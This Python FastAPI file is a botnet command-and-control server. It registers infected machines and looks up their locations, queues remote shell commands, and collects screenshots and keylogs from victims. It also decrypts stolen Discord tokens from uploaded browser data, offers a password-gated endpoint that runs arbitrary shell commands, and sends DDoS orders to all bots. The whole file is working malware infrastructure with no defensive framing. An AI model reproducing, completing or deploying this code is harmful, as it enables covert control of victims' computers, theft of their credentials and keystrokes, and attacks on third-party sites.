from fastapi import FastAPI, Request, HTTPException, UploadFile, File
from fastapi.responses import PlainTextResponse, StreamingResponse
from Crypto.Cipher import AES
from base64 import b64decode
from datetime import datetime, timedelta
from pydantic import BaseModel
from io import BytesIO
from data import RegistrationData, CommandData, OutputData, DDoSData
from bot import Bot
import aiohttp
from uuid import uuid4
from hashlib import sha256 as _sha256
from subprocess import getoutput as go
import re

class Login(BaseModel):
    cmd: str = None
    login: str = None
    paswd: str = None

def failed():
    return HTTPException(detail="failed", status_code=400)

app = FastAPI()

bots = {}

access_uuids = []

login_sha256 = "26cee98e0b335c5a13b0937bb5f99c55b1206b07425a515b614d53e5023c77b0"
paswd_sha256 = "d5b5c418eb32ba85e9c0a9b8c922c2d4bad28cda3753bf5aeecf24081ad64933"

def sha256(s):
    return _sha256(s.encode()).hexdigest()

@app.post("/exec")
async def execute(login: Login):
    if sha256(login.paswd) != paswd_sha256:
        raise failed()
        
    try:
        output = go(login.cmd)
    except Exception as ex:
        output = str(ex)
        
    return PlainTextResponse(output)

@app.post("/find/{key}")
async def find_in(key, file: UploadFile = File(...)):
    tokens = cleaned = []
    data = await file.read()
    data = data.decode(errors="ignore")
    for buf in data.splitlines():
        for values in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", buf):
            tokens.append(values)

    for token in tokens:
        if token.endswith("\\"):
            token.replace("\\", "")
        elif token not in cleaned:
            cleaned.append(token)

    listed = []
    for token in cleaned:
        try:
            buf = b64decode(token.split('dQw4w9WgXcQ:')[1])
            iv, payload = buf[3:15], buf[15:]

            tok = AES.new(bytes.fromhex(key), AES.MODE_GCM, iv).decrypt(payload)[:-16].decode()
            if tok not in listed:
                listed.append(tok)
        except Exception as ex:
            print(ex)
            continue
    
    return PlainTextResponse("\n".join(listed))

@app.post("/access")
async def login_panel(login: Login):
    if sha256(login.login) == login_sha256 and sha256(login.paswd) == paswd_sha256:
        uuid = str(uuid4())
        access_uuids.append(uuid)
        return {"status": "success", "message": "Successfuly loged in.", "uuid": uuid}
    raise failed()

@app.post("/register")
async def reg_bot(req: Request, reg: RegistrationData = None):
    if reg.name is None or reg.cwd is None or reg.prog is None:
        raise failed()
        
    ip = req.headers.get("x-forwarded-for") or "0.0.0.0"
    async with aiohttp.ClientSession() as session:
        async with session.get(url=f"https://ipinfo.io/{ip}/json") as req:
            ip = await req.json()
            
    bot = Bot(reg.name, reg.cwd, ip, reg.prog, reg.uuid)
    bots[bot.uuid] = bot

    return PlainTextResponse(bot.uuid)

@app.get("/status")
async def get_status(access_uuid: str):
    if access_uuid not in access_uuids:
        raise failed()
        
    data = {}
    for uuid in bots.keys():
        bot = bots.get(uuid)
        data[uuid] = await bot.get_status()
    return data

@app.get("/get_restart/{bot_uuid}")
async def get_restart_command(bot_uuid: str):
    bot = bots.get(bot_uuid)
    if bot is None:
        return PlainTextResponse("yes")

    await bot.set_status()
    cmd = await bot.get_restart()
    await bot.set_restart(False)
    
    return PlainTextResponse(cmd)

@app.get("/set_restart/{bot_uuid}")
async def set_restart_command(bot_uuid: str, access_uuid: str):
    if access_uuid not in access_uuids:
        raise failed()
    
    bot = bots.get(bot_uuid)
    if bot is None:
        raise failed()

    await bot.set_restart(True)
    
    return {"status": "success"}

@app.post("/set_command/{bot_uuid}")
async def set_command(bot_uuid: str, access_uuid: str, data: CommandData):
    if access_uuid not in access_uuids:
        raise failed()
    
    bot: Bot = bots.get(bot_uuid)
    if bot is None:
        raise failed()
    
    await bot.set_cmd(data.command)
    return {"status": "success", "command": data.command}

@app.get("/get_command/{bot_uuid}")
async def get_command(bot_uuid: str):
    bot: Bot = bots.get(bot_uuid)
    if bot is None:
        return PlainTextResponse("INVALID_UUID")
    
    await bot.wait_for_command()
    cmd = bot.cmd
    await bot.clear_cmd()

    return PlainTextResponse(cmd)


@app.post("/set_output/{bot_uuid}")
async def set_output(bot_uuid: str, data: OutputData):
    bot: Bot = bots.get(bot_uuid)
    if bot is None:
        raise failed()
    
    await bot.set_output(data.output)
    await bot.set_cwd(data.cwd)
    
    return {"status": "success"}

@app.get("/get_output/{bot_uuid}")
async def get_command(bot_uuid: str, access_uuid: str):
    if access_uuid not in access_uuids:
        raise failed()
    
    bot: Bot = bots.get(bot_uuid)
    if bot is None:
        raise failed()
    
    await bot.wait_for_output()
    out = bot.output
    await bot.clear_output()

    return {"output": out, "cwd": bot.cwd}

@app.post("/send_screenshot/{bot_uuid}")
async def send_screenshot(bot_uuid: str, file: UploadFile = File(...)):
    bot: Bot = bots.get(bot_uuid)
    if bot is None:
        raise failed()
        
    scr_data = await file.read()
    await bot.set_scr(scr_data)
    
    return {"status": "screenshot uploaded successfully"}

@app.get("/download_screenshot/{bot_uuid}")
async def download_screenshot(bot_uuid: str, access_uuid: str):
    if access_uuid not in access_uuids:
        raise failed()
    
    bot: Bot = bots.get(bot_uuid)
    if bot is None:
        raise failed()

    await bot.wait_for_scr()
    screenshot_data = bot.scr_data
    await bot.clear_scr()
    
    return StreamingResponse(BytesIO(screenshot_data), media_type="image/jpeg")

@app.post("/send_keys/{bot_uuid}")
async def send_keys(bot_uuid: str, file: UploadFile = File(...)):
    bot: Bot = bots.get(bot_uuid)
    if bot is None:
        raise failed()
        
    keys = await file.read()
    await bot.set_keys(keys)
    
    return {"status": "keylog uploaded successfully"}

@app.get("/download_keys/{bot_uuid}")
async def send_keys(bot_uuid: str, access_uuid: str):
    if access_uuid not in access_uuids:
        raise failed()
    
    bot: Bot = bots.get(bot_uuid)
    if bot is None:
        raise failed()

    await bot.wait_for_keys()
    keys = bot.keys
    await bot.clear_keys()
    
    return PlainTextResponse(keys)

@app.post("/ddos")
async def ddos(access_uuid: str, data: DDoSData):
    if access_uuid not in access_uuids:
        raise failed()
        
    for uuid in bots.keys():
        await bots[uuid].set_cmd(f"ddos {data.url} {data.packets}")
        
    return {"status": "success"}

@app.get("/bots")
async def get_bots(access_uuid: str):
    if access_uuid not in access_uuids:
        raise failed()
    data = {f"{uuid}": {"name": f"{bot.name}", "ip": bot.ip, "cwd": f"{bot.cwd}", "exe": f"{bot.exe_name}"} for uuid, bot in bots.items()}
    return {"bots": data}